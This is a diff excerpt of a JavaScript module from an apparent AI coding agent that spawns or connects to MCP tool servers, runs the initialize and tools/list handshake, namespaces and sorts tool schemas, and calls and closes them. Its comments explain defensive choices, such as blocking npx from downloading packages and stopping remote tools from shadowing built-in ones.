|
+
* shipped for one commit. `C:\Program Files
|
|
970
|
+
odejs\` contains BOTH `npx`
|
|
971
|
+
* (an extensionless bash script, there for Git Bash) and `npx.cmd`. Trying
|
|
972
|
+
* '' first resolved to the bash script, which Windows cannot spawn: still
|
|
973
|
+
* ENOENT, but now from a path that exists, which is much harder to diagnose.
|
|
974
|
+
* cmd.exe consults PATHEXT for exactly this reason.
|
|
975
|
+
*/
|
|
976
|
+
for (const ext of [...exts, '']) {
|
|
977
|
+
const candidate = join(dir, command + ext);
|
|
978
|
+
try {
|
|
979
|
+
if (existsSync(candidate) && statSync(candidate).isFile()) return candidate;
|
|
980
|
+
} catch { /* unreadable PATH entry */ }
|
|
981
|
+
}
|
|
982
|
+
}
|
|
983
|
+
// ⚠️ Fall through unchanged rather than inventing a path. The spawn will fail
|
|
984
|
+
// with ENOENT, which is a clearer error than a wrong file that exists.
|
|
985
|
+
return command;
|
|
986
|
+
}
|
|
987
|
+
|
|
988
|
+
/**
|
|
989
|
+
* initialize → initialized → tools/list, for whatever is on the other end.
|
|
990
|
+
*
|
|
991
|
+
* ⭐ ONE COPY. This is the sequence that decides whether a server is usable, the
|
|
992
|
+
* truncation that keeps a 400-tool server from eating the prompt, and the
|
|
993
|
+
* `isError`-free path into `mcpToolSchemas`. A transport-specific second copy is
|
|
994
|
+
* how "it works over stdio" and "it works over HTTP" stop meaning the same
|
|
995
|
+
* thing.
|
|
996
|
+
*
|
|
997
|
+
* ⚠️ NEVER THROWS, same contract as `connectServer`: returns `{ok:false,error}`.
|
|
998
|
+
*/
|
|
999
|
+
async function performHandshake(rpc, { protocolVersion, diagnose = () => '' }) {
|
|
1000
|
+
const init = await rpc.request('initialize', {
|
|
1001
|
+
protocolVersion,
|
|
1002
|
+
capabilities: {},
|
|
1003
|
+
clientInfo: { name: 'acuvo-code', version: '0.2.0' },
|
|
1004
|
+
}, HANDSHAKE_TIMEOUT_MS);
|
|
1005
|
+
|
|
1006
|
+
const extra = diagnose();
|
|
1007
|
+
if (init?.error || extra) {
|
|
1008
|
+
return { ok: false, error: `${init?.error?.message ?? extra}${init?.error && extra ? ` — ${extra}` : ''}` };
|
|
1009
|
+
}
|
|
1010
|
+
rpc.notify('notifications/initialized', {});
|
|
1011
|
+
|
|
1012
|
+
const listed = await rpc.request('tools/list', {}, HANDSHAKE_TIMEOUT_MS);
|
|
1013
|
+
if (listed?.error) return { ok: false, error: listed.error.message };
|
|
1014
|
+
|
|
1015
|
+
const all = listed?.result?.tools ?? [];
|
|
1016
|
+
return { ok: true, tools: all.slice(0, MAX_TOOLS_PER_SERVER), truncated: all.length > MAX_TOOLS_PER_SERVER };
|
|
1017
|
+
}
|
|
1018
|
+
|
|
1019
|
+
/**
|
|
1020
|
+
* Connect to a server declared with a `url` — no process, no environment, no
|
|
1021
|
+
* `spawn`.
|
|
1022
|
+
*
|
|
1023
|
+
* ⚠️ IT DEGRADES EXACTLY LIKE THE STDIO PATH: an unreachable host, a 401, a
|
|
1024
|
+
* missing credential variable, a cross-origin redirect — every one of them
|
|
1025
|
+
* returns `{ok:false}` and the session continues with the other servers. A
|
|
1026
|
+
* hosted server that is down must cost a line in the transcript, not the run.
|
|
1027
|
+
*/
|
|
1028
|
+
export async function connectRemoteServer(server, { fetchImpl = fetch, env = process.env } = {}) {
|
|
1029
|
+
const resolved = resolveHeaders(server, { env });
|
|
1030
|
+
if (!resolved.ok) return { ok: false, name: server.name, error: resolved.error };
|
|
1031
|
+
|
|
1032
|
+
const make = server.transport === 'sse' ? sseTransport : streamableHttpTransport;
|
|
1033
|
+
let transport;
|
|
1034
|
+
try {
|
|
1035
|
+
transport = make({ url: server.url, headers: resolved.headers, fetchImpl });
|
|
1036
|
+
} catch (err) {
|
|
1037
|
+
return { ok: false, name: server.name, error: `could not open ${server.url}: ${err?.message ?? err}` };
|
|
1038
|
+
}
|
|
1039
|
+
|
|
1040
|
+
const rpc = createRpc({ send: transport.send });
|
|
1041
|
+
const shook = await performHandshake(rpc, { protocolVersion: HTTP_PROTOCOL_VERSION });
|
|
1042
|
+
if (!shook.ok) {
|
|
1043
|
+
try { transport.close(); } catch { /* nothing open */ }
|
|
1044
|
+
// ⭐ The URL is in the message: with several servers configured, "HTTP 401"
|
|
1045
|
+
// alone does not say WHICH remote system rejected the credential.
|
|
1046
|
+
return { ok: false, name: server.name, error: `${shook.error} (${server.url})` };
|
|
1047
|
+
}
|
|
1048
|
+
return {
|
|
1049
|
+
ok: true,
|
|
1050
|
+
name: server.name,
|
|
1051
|
+
url: server.url,
|
|
1052
|
+
transport: server.transport,
|
|
1053
|
+
child: null,
|
|
1054
|
+
close: transport.close,
|
|
1055
|
+
rpc,
|
|
1056
|
+
tools: shook.tools,
|
|
1057
|
+
truncated: shook.truncated,
|
|
1058
|
+
};
|
|
1059
|
+
}
|
|
1060
|
+
|
|
1061
|
+
export async function connectServer(server, { root, spawnImpl = spawn, fetchImpl = fetch, env = process.env } = {}) {
|
|
1062
|
+
/**
|
|
1063
|
+
* ⚠️ THE BRANCH IS ON `transport`, NEVER ON "does it have a command" —
|
|
1064
|
+
* `readMcpConfig` sets `command` to the URL for a remote server so the
|
|
1065
|
+
* `mcp-start` notice and the consent fingerprint name the destination (see
|
|
1066
|
+
* there). A truthiness check on `command` would therefore try to spawn a URL.
|
|
1067
|
+
*/
|
|
1068
|
+
if (server?.transport === 'http' || server?.transport === 'sse') {
|
|
1069
|
+
return connectRemoteServer(server, { fetchImpl, env });
|
|
1070
|
+
}
|
|
1071
|
+
|
|
1072
|
+
let child;
|
|
1073
|
+
try {
|
|
1074
|
+
/**
|
|
1075
|
+
* ⚠️ npm and npx are routed through node's own entry point (see
|
|
1076
|
+
* nodeCliEntry); everything else is resolved on PATH. `--no` is injected
|
|
1077
|
+
* for npx so it can only run a package that is ALREADY INSTALLED — without
|
|
1078
|
+
* it, npx downloads and executes whatever name it was given, which is
|
|
1079
|
+
* remote code execution wearing a config file.
|
|
1080
|
+
*/
|
|
1081
|
+
const bare = server.command;
|
|
1082
|
+
const entry = (bare === 'npm' || bare === 'npx') ? nodeCliEntry(bare) : null;
|
|
1083
|
+
const file = entry ? process.execPath : resolveExecutable(bare);
|
|
1084
|
+
const argv = entry
|
|
1085
|
+
? [entry, ...(bare === 'npx' ? ['--no'] : []), ...server.args.filter((a) => a !== '-y' && a !== '--yes')]
|
|
1086
|
+
: server.args;
|
|
1087
|
+
child = spawnImpl(file, argv, {
|
|
1088
|
+
cwd: root,
|
|
1089
|
+
// ⚠️ NOT the scrubbed env used for run_command. An MCP server usually
|
|
1090
|
+
// NEEDS a token to be useful, and the user put it in the config
|
|
1091
|
+
// deliberately. This is the one place where withholding credentials would
|
|
1092
|
+
// break the feature rather than protect it — which is precisely why the
|
|
1093
|
+
// server list is user-authored and never model-authored.
|
|
1094
|
+
env: { ...process.env, ...server.env },
|
|
1095
|
+
stdio: ['pipe', 'pipe', 'pipe'],
|
|
1096
|
+
shell: false,
|
|
1097
|
+
});
|
|
1098
|
+
} catch (err) {
|
|
1099
|
+
return { ok: false, name: server.name, error: `could not start: ${err?.message ?? err}` };
|
|
1100
|
+
}
|
|
1101
|
+
|
|
1102
|
+
/**
|
|
1103
|
+
* ⚠️ A FAILED SPAWN LEAVES `stdout` NULL, and `createRpc` then throws on
|
|
1104
|
+
* `.setEncoding` — which killed the process with NO OUTPUT AT ALL. That is
|
|
1105
|
+
* how the first real test of this file appeared to "hang": it had already
|
|
1106
|
+
* crashed, silently, before any error could be reported.
|
|
1107
|
+
*/
|
|
1108
|
+
if (!child?.stdout || !child?.stdin) {
|
|
1109
|
+
return { ok: false, name: server.name, error: `could not start "${server.command}" (no stdio — is it installed and on PATH?)` };
|
|
1110
|
+
}
|
|
1111
|
+
|
|
1112
|
+
/**
|
|
1113
|
+
* ⚠️ An MCP server must not decide when acuvo exits. Servers are spawned per
|
|
1114
|
+
* turn, so without this every turn that used one leaves a reason to stay
|
|
1115
|
+
* alive — see lib/child-lifetime.mjs.
|
|
1116
|
+
*/
|
|
1117
|
+
detachChild(child);
|
|
1118
|
+
|
|
1119
|
+
// A server that dies on startup must not leave the session waiting.
|
|
1120
|
+
let died = null;
|
|
1121
|
+
child.on('error', (e) => { died = e?.message ?? String(e); });
|
|
1122
|
+
child.stderr?.setEncoding('utf8');
|
|
1123
|
+
let stderrTail = '';
|
|
1124
|
+
child.stderr?.on('data', (d) => { stderrTail = (stderrTail + d).slice(-500); });
|
|
1125
|
+
|
|
1126
|
+
const transport = stdioTransport(child);
|
|
1127
|
+
const rpc = createRpc({ send: transport.send });
|
|
1128
|
+
const shook = await performHandshake(rpc, {
|
|
1129
|
+
protocolVersion: STDIO_PROTOCOL_VERSION,
|
|
1130
|
+
// ⭐ stderr is included: an MCP server's real complaint ("missing API key")
|
|
1131
|
+
// arrives there, never in the RPC error, and without it the user gets
|
|
1132
|
+
// "initialize failed" and no idea why. Read through a callback because it is
|
|
1133
|
+
// only populated by the time the handshake has finished waiting.
|
|
1134
|
+
diagnose: () => (died ? `${died}${stderrTail ? ` — ${stderrTail.trim().slice(0, 200)}` : ''}` : ''),
|
|
1135
|
+
});
|
|
1136
|
+
if (!shook.ok) {
|
|
1137
|
+
try { child.kill(); } catch { /* already gone */ }
|
|
1138
|
+
const tail = !died && stderrTail ? ` — ${stderrTail.trim().slice(0, 200)}` : '';
|
|
1139
|
+
return { ok: false, name: server.name, error: `${shook.error}${tail}` };
|
|
1140
|
+
}
|
|
1141
|
+
|
|
1142
|
+
return {
|
|
1143
|
+
ok: true,
|
|
1144
|
+
name: server.name,
|
|
1145
|
+
transport: 'stdio',
|
|
1146
|
+
child,
|
|
1147
|
+
close: transport.close,
|
|
1148
|
+
rpc,
|
|
1149
|
+
tools: shook.tools,
|
|
1150
|
+
truncated: shook.truncated,
|
|
1151
|
+
};
|
|
1152
|
+
}
|
|
1153
|
+
|
|
1154
|
+
/**
|
|
1155
|
+
* ⚠️ THE NAMESPACE IS A SAFETY PROPERTY, NOT TIDINESS. A server offering its own
|
|
1156
|
+
* `write_file` must not shadow ours, and the transcript must always show which
|
|
1157
|
+
* one ran. Double underscore because a single one is common inside tool names.
|
|
1158
|
+
*/
|
|
1159
|
+
export function namespacedName(server, tool) {
|
|
1160
|
+
return `mcp__${server}__${tool}`;
|
|
1161
|
+
}
|
|
1162
|
+
|
|
1163
|
+
export function parseNamespaced(name) {
|
|
1164
|
+
const m = /^mcp__([a-z0-9_-]+)__(.+)$/i.exec(name ?? '');
|
|
1165
|
+
return m ? { server: m[1], tool: m[2] } : null;
|
|
1166
|
+
}
|
|
1167
|
+
|
|
1168
|
+
/**
|
|
1169
|
+
* Turn a server's advertised tools into schemas the model can be offered.
|
|
1170
|
+
*
|
|
1171
|
+
* ── ⭐⭐ SORTED, BECAUSE THIS IS THE ONE PART OF THE PREFIX A STRANGER OWNS ──
|
|
1172
|
+
*
|
|
1173
|
+
* ⚠️ THE ORDER USED TO BE THE REMOTE SERVER'S CHOICE. Tools were appended in
|
|
1174
|
+
* whatever order `tools/list` returned, and servers were iterated in
|
|
1175
|
+
* `.mcp.json` insertion order. Within a single session that is stable — the
|
|
1176
|
+
* connection is made once — but a CONTINUING session (`--resume`, interactive
|
|
1177
|
+
* chat) reconnects and re-lists on every turn, so a server that builds its list
|
|
1178
|
+
* from an unordered map (a Go map, or any language whose dicts are not
|
|
1179
|
+
* insertion-ordered) reorders OUR tools array between turns.
|
|
1180
|
+
*
|
|
1181
|
+
* ⚠️⚠️ AND THE TOOLS ARRAY SITS AHEAD OF THE MESSAGES IN THE CACHED PREFIX, so
|
|
1182
|
+
* that is not a small loss at the end: it is 100% of the prompt, invisibly,
|
|
1183
|
+
* decided by a third party. `skills.mjs` already sorts its catalogue for exactly
|
|
1184
|
+
* this reason and says so ("so the catalogue — and therefore the cacheable
|
|
1185
|
+
* prefix — is the same string on every run"); MCP never inherited the rule.
|
|
1186
|
+
*
|
|
1187
|
+
* ⚠️ SORTED BY THE NAMESPACED NAME, WHICH ALSO FIXES THE SERVER ORDER. The
|
|
1188
|
+
* `mcp__<server>__<tool>` prefix means one sort settles both the tool order
|
|
1189
|
+
* within a server and the order of the servers themselves — including the
|
|
1190
|
+
* `Object.entries` quirk that floats integer-like server names to the front.
|
|
1191
|
+
*
|
|
1192
|
+
* ⚠️ `byCodePoint`, NOT `localeCompare` — the comparator must not depend on the
|
|
1193
|
+
* machine's ICU, or a fleet diverges at byte 0. See `prefix-order.mjs`.
|
|
1194
|
+
*/
|
|
1195
|
+
export function mcpToolSchemas(connections) {
|
|
1196
|
+
const out = [];
|
|
1197
|
+
for (const c of connections) {
|
|
1198
|
+
if (!c.ok) continue;
|
|
1199
|
+
for (const t of c.tools) {
|
|
1200
|
+
if (!t?.name) continue;
|
|
1201
|
+
out.push({
|
|
1202
|
+
type: 'function',
|
|
1203
|
+
function: {
|
|
1204
|
+
name: namespacedName(c.name, t.name),
|
|
1205
|
+
// ⭐ The server's own description, prefixed with where it came from.
|
|
1206
|
+
// A model choosing between two similar tools needs to know which
|
|
1207
|
+
// system it is about to touch.
|
|
1208
|
+
description: `[${c.name}] ${t.description ?? 'no description provided'}`.slice(0, 900),
|
|
1209
|
+
parameters: t.inputSchema && typeof t.inputSchema === 'object'
|
|
1210
|
+
? t.inputSchema
|
|
1211
|
+
: { type: 'object', properties: {} },
|
|
1212
|
+
},
|
|
1213
|
+
});
|
|
1214
|
+
}
|
|
1215
|
+
}
|
|
1216
|
+
// ⭐ The one line that takes the prefix back off the remote party.
|
|
1217
|
+
out.sort((a, b) => byCodePoint(a.function.name, b.function.name));
|
|
1218
|
+
return out;
|
|
1219
|
+
}
|
|
1220
|
+
|
|
1221
|
+
/** Call a namespaced tool on whichever server owns it. */
|
|
1222
|
+
export async function callMcpTool(connections, name, args) {
|
|
1223
|
+
const parsed = parseNamespaced(name);
|
|
1224
|
+
if (!parsed) return { ok: false, error: `"${name}" is not an MCP tool id` };
|
|
1225
|
+
const conn = connections.find((c) => c.ok && c.name === parsed.server);
|
|
1226
|
+
if (!conn) return { ok: false, error: `the "${parsed.server}" server is not connected` };
|
|
1227
|
+
|
|
1228
|
+
const res = await conn.rpc.request('tools/call', { name: parsed.tool, arguments: args ?? {} }, CALL_TIMEOUT_MS);
|
|
1229
|
+
if (res?.error) return { ok: false, error: `${parsed.server}: ${res.error.message}` };
|
|
1230
|
+
|
|
1231
|
+
const content = res?.result?.content ?? [];
|
|
1232
|
+
const text = content
|
|
1233
|
+
.map((c) => (c?.type === 'text' ? c.text : `[${c?.type ?? 'unknown'}]`))
|
|
1234
|
+
.join('\n')
|
|
1235
|
+
.slice(0, 20_000);
|
|
1236
|
+
/**
|
|
1237
|
+
* ⚠️ `isError` IS THE SERVER SAYING THE TOOL FAILED, on a successful RPC.
|
|
1238
|
+
* Treating it as success would hand the model a failure message formatted as
|
|
1239
|
+
* a result and let it build on top of it — the same silent-success class that
|
|
1240
|
+
* made the sandbox verifier useless this morning.
|
|
1241
|
+
*/
|
|
1242
|
+
if (res?.result?.isError) return { ok: false, error: text || 'the tool reported an error' };
|
|
1243
|
+
return { ok: true, server: parsed.server, tool: parsed.tool, text };
|
|
1244
|
+
}
|
|
1245
|
+
|
|
1246
|
+
/**
|
|
1247
|
+
* Shut every server down. Called when the session ends, always.
|
|
1248
|
+
*
|
|
1249
|
+
* ⚠️ `close()` FIRST, `child.kill()` AS THE FALLBACK. A remote connection has no
|
|
1250
|
+
* child to kill, and the old `if (!c.child) continue` skipped it entirely — an
|
|
1251
|
+
* open SSE stream is a live socket, and a live socket keeps Node's event loop
|
|
1252
|
+
* alive, so a session with one hosted server would have printed its report and
|
|
1253
|
+
* then never exited. That is the same failure `child-lifetime.mjs` documents for
|
|
1254
|
+
* children, arriving over TCP where `unref` does not reach.
|
|
1255
|
+
*/
|
|
1256
|
+
export function closeConnections(connections) {
|
|
1257
|
+
for (const c of connections) {
|
|
1258
|
+
if (!c.ok) continue;
|
|
1259
|
+
try { c.close?.(); } catch { /* already gone */ }
|
|
1260
|
+
if (!c.child) continue;
|
|
1261
|
+
try { c.child.kill(); } catch { /* already gone */ }
|
|
1262
|
+
}
|
|
1263
|
+
}
|